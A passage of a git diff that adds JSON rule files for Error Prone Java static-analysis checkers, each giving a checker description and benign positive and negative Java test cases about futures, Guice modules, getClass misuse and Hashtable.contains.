return future;\n }\n }\n \n\nimport static com.google.common.util.concurrent.Futures.immediateFuture;\nimport static com.google.common.util.concurrent.Futures.transform;\nimport static com.google.common.util.concurrent.Futures.transformAsync;\nimport com.google.common.util.concurrent.Futures;\nimport com.google.common.util.concurrent.ListenableFuture;\nimport java.util.concurrent.Executor;\n\nclass Test {\n private Executor executor;\n\n ListenableFuture foo(String s) {\n return immediateFuture(s);\n }\n\n ListenableFuture test() {\n ListenableFuture future = transform(foo(\"x\"), value -> \"value: \" + value, executor);\n return future;\n }\n}" + }, + { + "description": "transformAsync_immediateVoidFuture", + "expected-problems": null, + "expected-linenumbers": [ + 412 + ], + "code": "import com.google.common.util.concurrent.Futures;\nimport com.google.common.util.concurrent.ListenableFuture;\nimport java.util.concurrent.Executor;\n\nclass Test {\n private Executor executor;\n\n ListenableFuture foo(String s) {\n return Futures.immediateFuture(s);\n }\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transformAsync(foo(\"x\"), value -> Futures.immediateVoidFuture(), executor);\n return future;\n }\n}\n\n\nimport com.google.common.util.concurrent.Futures;\nimport com.google.common.util.concurrent.ListenableFuture;\nimport java.util.concurrent.Executor;\n\nclass Test {\n private Executor executor;\n\n ListenableFuture foo(String s) {\n return Futures.immediateFuture(s);\n }\n\n ListenableFuture test() {\n ListenableFuture future = Futures.transform(foo(\"x\"), value -> (Void) null, executor);\n return future;\n }\n}" + }, + { + "description": "transformAsync_withTypeArgument", + "expected-problems": null, + "expected-linenumbers": [ + 459 + ], + "code": "import com.google.common.util.concurrent.Futures;\nimport com.google.common.util.concurrent.ListenableFuture;\nimport java.util.concurrent.Executor;\n\nclass Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transformAsync(\n Futures.immediateFuture(\"x\"), value -> Futures.immediateFuture(null), executor);\n return future;\n }\n}\n\n\n import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transform(Futures.immediateFuture(\"x\"), value -> (Void) null, executor);\n return future;\n }\n }" + }, + { + "description": "transformAsync_nestedLambdas", + "expected-problems": null, + "expected-linenumbers": [ + 500 + ], + "code": "import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n interface TestInterface {\n ListenableFuture apply(String value);\n }\n\n void foo(TestInterface unused) {\n return;\n }\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transformAsync(\n Futures.immediateFuture(\"x\"),\n unused -> {\n foo(\n x -> {\n return Futures.immediateVoidFuture();\n });\n return Futures.immediateVoidFuture();\n },\n executor);\n return future;\n }\n }\n \n\n import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n interface TestInterface {\n ListenableFuture apply(String value);\n }\n\n void foo(TestInterface unused) {\n return;\n }\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.transform(\n Futures.immediateFuture(\"x\"),\n unused -> {\n foo(\n x -> {\n return Futures.immediateVoidFuture();\n });\n return (Void) null;\n },\n executor);\n return future;\n }\n }" + }, + { + "description": "transformAsync_fluentFuture", + "expected-problems": null, + "expected-linenumbers": [ + 574 + ], + "code": "import com.google.common.util.concurrent.FluentFuture;\n import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future =\n FluentFuture.from(Futures.immediateFuture(5))\n .transformAsync(value -> Futures.immediateFuture(\"v: \" + value), executor);\n return future;\n }\n }\n \n\n import com.google.common.util.concurrent.FluentFuture;\n import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future =\n FluentFuture.from(Futures.immediateFuture(5))\n .transform(value -> \"v: \" + value, executor);\n return future;\n }\n }" + }, + { + "description": "futureCombiner_callAsync", + "expected-problems": null, + "expected-linenumbers": [ + 618 + ], + "code": "import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future1 = Futures.immediateFuture(5);\n ListenableFuture future2 = Futures.immediateFuture(10);\n ListenableFuture future =\n Futures.whenAllSucceed(future1, future2)\n .callAsync(() -> Futures.immediateFuture(\"All values succeeded\"), executor);\n return future;\n }\n }\n \n\n import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future1 = Futures.immediateFuture(5);\n ListenableFuture future2 = Futures.immediateFuture(10);\n ListenableFuture future =\n Futures.whenAllSucceed(future1, future2)\n .call(() -> \"All values succeeded\", executor);\n return future;\n }\n }" + }, + { + "description": "futureCombiner_callAsyncWithCheckedException", + "expected-problems": null, + "expected-linenumbers": [ + 664 + ], + "code": "import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future1 = Futures.immediateFuture(5);\n ListenableFuture future2 = Futures.immediateFuture(10);\n ListenableFuture future =\n Futures.whenAllSucceed(future1, future2)\n .callAsync(\n () -> {\n int total = Futures.getDone(future1) + Futures.getDone(future2);\n return Futures.immediateFuture(\"Sum = \" + total);\n },\n executor);\n return future;\n }\n }\n \n\n import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future1 = Futures.immediateFuture(5);\n ListenableFuture future2 = Futures.immediateFuture(10);\n ListenableFuture future =\n Futures.whenAllSucceed(future1, future2)\n .call(\n () -> {\n int total = Futures.getDone(future1) + Futures.getDone(future2);\n return \"Sum = \" + total;\n },\n executor);\n return future;\n }\n }" + }, + { + "description": "submitAsync_expressionLambda", + "expected-problems": null, + "expected-linenumbers": [ + 720 + ], + "code": "import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.submitAsync(() -> Futures.immediateFuture(\"Done\"), executor);\n return future;\n }\n }\n \n\n import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future = Futures.submit(() -> \"Done\", executor);\n return future;\n }\n }" + }, + { + "description": "submitAsync_statementLambda", + "expected-problems": null, + "expected-linenumbers": [ + 759 + ], + "code": "import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.submitAsync(\n () -> {\n return Futures.immediateFuture(\"Done\");\n },\n executor);\n return future;\n }\n }\n \n\n import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n ListenableFuture future =\n Futures.submit(\n () -> {\n return \"Done\";\n },\n executor);\n return future;\n }\n }" + }, + { + "description": "submitAsync_staticImports", + "expected-problems": null, + "expected-linenumbers": [ + 807 + ], + "code": "import static com.google.common.util.concurrent.Futures.immediateFuture;\n import static com.google.common.util.concurrent.Futures.submitAsync;\n import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n return submitAsync(() -> immediateFuture(\"Done\"), executor);\n }\n }\n \n\n import static com.google.common.util.concurrent.Futures.immediateFuture;\n import static com.google.common.util.concurrent.Futures.submit;\n import static com.google.common.util.concurrent.Futures.submitAsync;\n import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n return submit(() -> \"Done\", executor);\n }\n }" + }, + { + "description": "submitAsync_executorAsLambdaParameter", + "expected-problems": null, + "expected-linenumbers": [ + 848 + ], + "code": "import com.google.common.util.concurrent.AsyncCallable;\n import com.google.common.util.concurrent.Futures;\n import com.google.common.util.concurrent.ListenableFuture;\n import java.util.concurrent.Executor;\n\n class Test {\n private Executor executor;\n\n ListenableFuture test() {\n AsyncCallable asyncCallable = () -> Futures.immediateFuture(\"Done\");\n return Futures.submitAsync(asyncCallable, runnable -> {});\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FuturesGetCheckedIllegalExceptionType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FuturesGetCheckedIllegalExceptionType.json new file mode 100644 index 0000000..114fec9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FuturesGetCheckedIllegalExceptionType.json @@ -0,0 +1,30 @@ +{ + "name": "FuturesGetCheckedIllegalExceptionType", + "language": "java", + "description": "Futures.getChecked requires a checked exception type with a standard constructor.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 154, + "branches": 16, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 28 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static com.google.common.util.concurrent.Futures.getChecked;\nimport static java.util.concurrent.TimeUnit.SECONDS;\n\nimport java.util.concurrent.Future;\n\n/** Positive cases for {@link FuturesGetCheckedIllegalExceptionType}. */\npublic class FuturesGetCheckedIllegalExceptionTypePositiveCases {\n void runtime(\n Future future, Class c1, Class c2) throws Exception {\n // BUG: Diagnostic contains: getUnchecked(future)\n getChecked(future, RuntimeException.class);\n // BUG: Diagnostic contains: getUnchecked(future)\n getChecked(future, IllegalArgumentException.class);\n // BUG: Diagnostic contains: getUnchecked(future)\n getChecked(future, RuntimeException.class, 0, SECONDS);\n // BUG: Diagnostic contains: getUnchecked(future)\n getChecked(future, c1);\n // BUG: Diagnostic contains: getUnchecked(future)\n getChecked(future, c2);\n }\n\n void visibility(Future future) throws Exception {\n // BUG: Diagnostic contains: parameters\n getChecked(future, PrivateConstructorException.class);\n // BUG: Diagnostic contains: parameters\n getChecked(future, PackagePrivateConstructorException.class);\n // BUG: Diagnostic contains: parameters\n getChecked(future, ProtectedConstructorException.class);\n }\n\n void parameters(Future future) throws Exception {\n // BUG: Diagnostic contains: parameters\n getChecked(future, OtherParameterTypeException.class);\n // TODO(cpovirk): Consider a specialized error message if inner classes prove to be common.\n // BUG: Diagnostic contains: parameters\n getChecked(future, InnerClassWithExplicitConstructorException.class);\n // BUG: Diagnostic contains: parameters\n getChecked(future, InnerClassWithImplicitConstructorException.class);\n }\n\n public static class PrivateConstructorException extends Exception {\n private PrivateConstructorException() {}\n }\n\n public static class PackagePrivateConstructorException extends Exception {\n PackagePrivateConstructorException() {}\n }\n\n public static class ProtectedConstructorException extends Exception {\n protected ProtectedConstructorException() {}\n }\n\n public class OtherParameterTypeException extends Exception {\n public OtherParameterTypeException(int it) {}\n }\n\n public class InnerClassWithExplicitConstructorException extends Exception {\n public InnerClassWithExplicitConstructorException() {}\n }\n\n public class InnerClassWithImplicitConstructorException extends Exception {}\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 102 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static com.google.common.util.concurrent.Futures.getChecked;\nimport static java.util.concurrent.TimeUnit.SECONDS;\n\nimport java.io.IOException;\nimport java.util.concurrent.Future;\n\n/** Negative cases for {@link FuturesGetCheckedIllegalExceptionType}. */\npublic class FuturesGetCheckedIllegalExceptionTypeNegativeCases {\n void runtime(Future future, Class c1, Class c2)\n throws Exception {\n getChecked(future, Exception.class);\n getChecked(future, Exception.class, 0, SECONDS);\n getChecked(future, IOException.class);\n // These might or might not be RuntimeExceptions. We can't prove it one way or the other.\n getChecked(future, c1);\n getChecked(future, c2);\n getChecked(future, null);\n }\n\n void constructor(\n Future future, Class c1, Class c2)\n throws Exception {\n getChecked(future, StaticNestedWithExplicitConstructorException.class);\n getChecked(future, StaticNestedWithImplicitConstructorException.class);\n /*\n * These might be ProtectedConstructorException, but they might be a subtype with a public\n * constructor.\n */\n getChecked(future, c1);\n getChecked(future, c2);\n }\n\n public static class StaticNestedWithExplicitConstructorException extends Exception {\n public StaticNestedWithExplicitConstructorException() {}\n }\n\n public static class StaticNestedWithImplicitConstructorException extends Exception {}\n\n public static class ProtectedConstructorException extends Exception {\n protected ProtectedConstructorException() {}\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FuzzyEqualsShouldNotBeUsedInEqualsMethod.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FuzzyEqualsShouldNotBeUsedInEqualsMethod.json new file mode 100644 index 0000000..331d594 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FuzzyEqualsShouldNotBeUsedInEqualsMethod.json @@ -0,0 +1,30 @@ +{ + "name": "FuzzyEqualsShouldNotBeUsedInEqualsMethod", + "language": "java", + "description": "DoubleMath.fuzzyEquals should never be used in an Object.equals() method", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 47, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.math.DoubleMath;\n\n /**\n * @author sulku@google.com (Marsela Sulku)\n */\n public class FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases {\n\n public boolean equals(Object o) {\n // BUG: Diagnostic contains: DoubleMath.fuzzyEquals should never\n DoubleMath.fuzzyEquals(0.2, 9.3, 2.0);\n return true;\n }\n\n private class TestClass {\n\n public boolean equals(Object other) {\n double x = 0, y = 0, z = 0;\n // BUG: Diagnostic contains: DoubleMath.fuzzyEquals should never\n return DoubleMath.fuzzyEquals(x, y, z);\n }\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.math.DoubleMath;\n\n /**\n * @author sulku@google.com (Marsela Sulku)\n */\n public class FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases {\n public boolean equals() {\n return true;\n }\n\n private static class TestClass {\n public void test() {\n boolean t = DoubleMath.fuzzyEquals(0, 2, 0.3);\n }\n\n public boolean equals(Object other) {\n return true;\n }\n\n public boolean equals(Object other, double a) {\n return DoubleMath.fuzzyEquals(0, 1, 0.2);\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GetClassOnAnnotation.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GetClassOnAnnotation.json new file mode 100644 index 0000000..696977b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GetClassOnAnnotation.json @@ -0,0 +1,30 @@ +{ + "name": "GetClassOnAnnotation", + "language": "java", + "description": "Calling getClass() on an annotation may return a proxy class", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 51, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n void f(Deprecated deprecated) {\n // BUG: Diagnostic contains: System.err.println(deprecated.annotationType());\n System.err.println(deprecated.getClass());\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "class Test {\n void f(Deprecated deprecated) {\n System.err.println(this.getClass());\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GetClassOnClass.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GetClassOnClass.json new file mode 100644 index 0000000..accc3ad --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GetClassOnClass.json @@ -0,0 +1,30 @@ +{ + "name": "GetClassOnClass", + "language": "java", + "description": "Calling getClass() on an object of type Class returns the Class object for java.lang.Class; you probably meant to operate on the object directly", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 52, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author chy@google.com (Christine Yang)\n * @author kmuhlrad@google.com (Katy Muhlrad)\n */\n public class GetClassOnClassPositiveCases {\n\n public void getClassOnClass(Class clazz) {\n // BUG: Diagnostic contains: clazz.getName()\n System.out.println(clazz.getClass().getName());\n }\n\n public void getClassOnClass2() {\n String s = \"hi\";\n // BUG: Diagnostic contains: s.getClass().getName()\n s.getClass().getClass().getName();\n }\n\n public void getClassOnClass3() {\n // BUG: Diagnostic contains: String.class.getName()\n System.out.println(String.class.getClass().getName());\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author chy@google.com (Christine Yang)\n * @author kmuhlrad@google.com (Katy Muhlrad)\n */\n public class GetClassOnClassNegativeCases {\n\n public void getClassOnClass(Object obj) {\n System.out.println(obj.getClass().getName());\n }\n\n public void getClassOnClass2() {\n String s = \"hi\";\n DummyObject.getClass(s);\n }\n\n public static class DummyObject {\n public static boolean getClass(Object a) {\n return true;\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GetClassOnEnum.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GetClassOnEnum.json new file mode 100644 index 0000000..24915b6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GetClassOnEnum.json @@ -0,0 +1,30 @@ +{ + "name": "GetClassOnEnum", + "language": "java", + "description": "Calling getClass() on an enum may return a subclass of the enum type", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n enum TheEnum {\n ONE\n }\n\n void f(TheEnum theEnum) {\n // BUG: Diagnostic contains: System.err.println(theEnum.getDeclaringClass());\n System.err.println(theEnum.getClass());\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "class Test {\n enum TheEnum {\n ONE\n }\n\n void f(TheEnum theEnum) {\n System.err.println(theEnum.getDeclaringClass());\n System.err.println(this.getClass());\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GuiceNestedCombine.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GuiceNestedCombine.json new file mode 100644 index 0000000..35f22e6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GuiceNestedCombine.json @@ -0,0 +1,94 @@ +{ + "name": "GuiceNestedCombine", + "language": "java", + "description": "Nesting Modules.combine() here is unnecessary.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import com.google.inject.AbstractModule;\n import com.google.inject.Guice;\n import com.google.inject.util.Modules;\n\n class Test {\n private class ModuleA extends AbstractModule {}\n\n private class ModuleB extends AbstractModule {}\n\n private class ModuleC extends AbstractModule {}\n\n public void test() {\n Guice.createInjector(new ModuleA(), Modules.combine(new ModuleB(), new ModuleC()));\n }\n }\n \n\n import com.google.inject.AbstractModule;\n import com.google.inject.Guice;\n import com.google.inject.util.Modules;\n\n class Test {\n private class ModuleA extends AbstractModule {}\n\n private class ModuleB extends AbstractModule {}\n\n private class ModuleC extends AbstractModule {}\n\n public void test() {\n Guice.createInjector(new ModuleA(), new ModuleB(), new ModuleC());\n }\n }" + }, + { + "description": "arbitraryVarargsMethod_combineCollapsed", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "import com.google.inject.AbstractModule;\n import com.google.inject.Module;\n import com.google.inject.util.Modules;\n\n class Test {\n private class ModuleA extends AbstractModule {}\n\n private class ModuleB extends AbstractModule {}\n\n private class ModuleC extends AbstractModule {}\n\n public void test() {\n foo(new ModuleA(), Modules.combine(new ModuleB(), new ModuleC()));\n }\n\n public void foo(Module... xs) {}\n }\n \n\n import com.google.inject.AbstractModule;\n import com.google.inject.Module;\n import com.google.inject.util.Modules;\n\n class Test {\n private class ModuleA extends AbstractModule {}\n\n private class ModuleB extends AbstractModule {}\n\n private class ModuleC extends AbstractModule {}\n\n public void test() {\n foo(new ModuleA(), new ModuleB(), new ModuleC());\n }\n\n public void foo(Module... xs) {}\n }" + }, + { + "description": "singleArgument_collapsed", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "import com.google.inject.AbstractModule;\n import com.google.inject.Module;\n import com.google.inject.util.Modules;\n\n class Test {\n private class ModuleA extends AbstractModule {}\n\n public void test() {\n foo(new ModuleA(), Modules.combine(new ModuleA()));\n }\n\n public void foo(Module... xs) {}\n }\n \n\n import com.google.inject.AbstractModule;\n import com.google.inject.Module;\n import com.google.inject.util.Modules;\n\n class Test {\n private class ModuleA extends AbstractModule {}\n\n public void test() {\n foo(new ModuleA(), new ModuleA());\n }\n\n public void foo(Module... xs) {}\n }" + }, + { + "description": "noArguments_ignored", + "expected-problems": null, + "expected-linenumbers": [ + 161 + ], + "code": "import com.google.inject.AbstractModule;\n import com.google.inject.Module;\n import com.google.inject.util.Modules;\n\n class Test {\n private class ModuleA extends AbstractModule {}\n\n public void test() {\n foo(new ModuleA(), Modules.combine());\n }\n\n public void foo(Module... xs) {}\n }" + }, + { + "description": "iterableOverload_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 185 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.inject.AbstractModule;\n import com.google.inject.Module;\n import com.google.inject.util.Modules;\n\n class Test {\n private class ModuleA extends AbstractModule {}\n\n public void test() {\n foo(new ModuleA(), Modules.combine(ImmutableList.of(new ModuleA())));\n }\n\n public void foo(Module... xs) {}\n }" + }, + { + "description": "varargsMethod_arrayInputToCombine_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 210 + ], + "code": "import com.google.inject.AbstractModule;\n import com.google.inject.Module;\n import com.google.inject.util.Modules;\n\n class Test {\n public void test(Module[] ms) {\n foo(Modules.combine(ms));\n }\n\n public void foo(Module... xs) {}\n }" + }, + { + "description": "notVargs_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 232 + ], + "code": "import com.google.inject.AbstractModule;\n import com.google.inject.Module;\n import com.google.inject.util.Modules;\n\n class Test {\n private class ModuleA extends AbstractModule {}\n\n private class ModuleB extends AbstractModule {}\n\n private class ModuleC extends AbstractModule {}\n\n public void test() {\n foo(new ModuleA(), Modules.combine(new ModuleB(), new ModuleC()));\n }\n\n public void foo(Module a, Module b) {}\n }" + }, + { + "description": "partialVarargs_collapsed", + "expected-problems": null, + "expected-linenumbers": [ + 260 + ], + "code": "import com.google.inject.AbstractModule;\n import com.google.inject.Module;\n import com.google.inject.util.Modules;\n\n class Test {\n private class ModuleA extends AbstractModule {}\n\n private class ModuleB extends AbstractModule {}\n\n private class ModuleC extends AbstractModule {}\n\n public void test() {\n foo(\n new ModuleA(),\n Modules.combine(new ModuleB(), new ModuleC()),\n Modules.combine(new ModuleB(), new ModuleC()));\n }\n\n public void foo(Module a, Module... b) {}\n }\n \n\n import com.google.inject.AbstractModule;\n import com.google.inject.Module;\n import com.google.inject.util.Modules;\n\n class Test {\n private class ModuleA extends AbstractModule {}\n\n private class ModuleB extends AbstractModule {}\n\n private class ModuleC extends AbstractModule {}\n\n public void test() {\n foo(new ModuleA(), new ModuleB(), new ModuleC(), new ModuleB(), new ModuleC());\n }\n\n public void foo(Module a, Module... b) {}\n }" + }, + { + "description": "noCombine_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 311 + ], + "code": "import com.google.inject.AbstractModule;\n import com.google.inject.Guice;\n import com.google.inject.util.Modules;\n\n class Test {\n private class ModuleA extends AbstractModule {}\n\n private class ModuleB extends AbstractModule {}\n\n private class ModuleC extends AbstractModule {}\n\n public void test() {\n Guice.createInjector(new ModuleA(), new ModuleB(), new ModuleC());\n }\n }" + }, + { + "description": "assignedToVariable_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 337 + ], + "code": "import com.google.inject.AbstractModule;\n import com.google.inject.Module;\n import com.google.inject.util.Modules;\n\n class Test {\n private class ModuleA extends AbstractModule {}\n\n private class ModuleB extends AbstractModule {}\n\n private class ModuleC extends AbstractModule {}\n\n public void test() {\n Module extraModule = Modules.combine(new ModuleA(), new ModuleB(), new ModuleC());\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/HashtableContains.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/HashtableContains.json new file mode 100644 index 0000000..3683efe --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/HashtableContains.json @@ -0,0 +1,78 @@ +{ + "name": "HashtableContains", + "language": "java", + "description": "contains() is a legacy method that is equivalent to containsValue()", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 96, + "branches": 12, + "apis": 2, + "test": [ + { + "description": "positive_cHM", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "package test;\n\n import java.util.concurrent.ConcurrentHashMap;\n\n class Test {\n void f(ConcurrentHashMap m, Integer v) {\n // BUG: Diagnostic contains: containsValue(v)\n m.contains(v);\n }\n }" + }, + { + "description": "positive_hashtable", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "package test;\n\n import java.util.Hashtable;\n\n class Test {\n void f(Hashtable m, Integer v) {\n // BUG: Diagnostic contains: containsValue(v)\n m.contains(v);\n }\n }" + }, + { + "description": "positive_wildcardUpperBound", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "package test;\n\n import java.util.Hashtable;\n\n class Test {\n void f(Hashtable m, Integer v) {\n // BUG: Diagnostic contains: containsValue(v)\n m.contains(v);\n }\n }" + }, + { + "description": "positive_wildcardLowerBound", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "package test;\n\n import java.util.Hashtable;\n\n class Test {\n void f(Hashtable m, Integer v) {\n // BUG: Diagnostic contains: containsValue(v)\n m.contains(v);\n }\n }" + }, + { + "description": "positive_wildcard", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "package test;\n\n import java.util.Hashtable;\n\n class Test {\n void f(Hashtable m, String k) {\n // BUG: Diagnostic contains: 'java.lang.String' could be a key or a value\n // Did you mean 'm.containsValue(k);' or 'm.containsKey(k);'?\n m.contains(k);\n }\n }" + }, + { + "description": "positive_containsKey", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "package test;\n\n import java.util.Hashtable;\n\n class Test {\n void f(Hashtable m, String k) {\n // BUG: Diagnostic contains:\n // argument type 'java.lang.String' looks like a key\n // Did you mean 'm.containsKey(k);'\n m.contains(k);\n }\n }" + }, + { + "description": "positive_extendsHashtable", + "expected-problems": null, + "expected-linenumbers": [ + 153 + ], + "code": "package test;\n\n import java.util.Hashtable;\n\n class MyHashTable extends Hashtable {\n @Override\n public boolean contains(Object v) {\n // BUG: Diagnostic contains:\n // Did you mean 'return containsValue(v);' or 'return containsKey(v);'?\n return contains(v);\n }\n }" + }, + { + "description": "negative_containsAmbiguous", + "expected-problems": null, + "expected-linenumbers": [ + 175 + ], + "code": "package test;\n\n import java.util.Hashtable;\n\n class Test {\n void f(Hashtable m, Integer v) {\n // BUG: Diagnostic contains: 'java.lang.Number' could be a key or a value\n // Did you mean 'm.containsValue(v);' or 'm.containsKey(v);'?\n m.contains(v);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/HidingField.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/HidingField.json new file mode 100644 index 0000000..4f0e006 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/HidingField.json @@ -0,0 +1,30 @@ +{ + "name": "HidingField", + "language": "java", + "description": "Hiding fields of superclasses may cause confusion and errors", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 128, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "hidingFieldPositiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/**\n * @author sulku@google.com (Marsela Sulku)\n * @author mariasam@google.com (Maria Sam)\n */\npublic class HidingFieldPositiveCases1 {\n\n /** base class */\n public static class ClassA 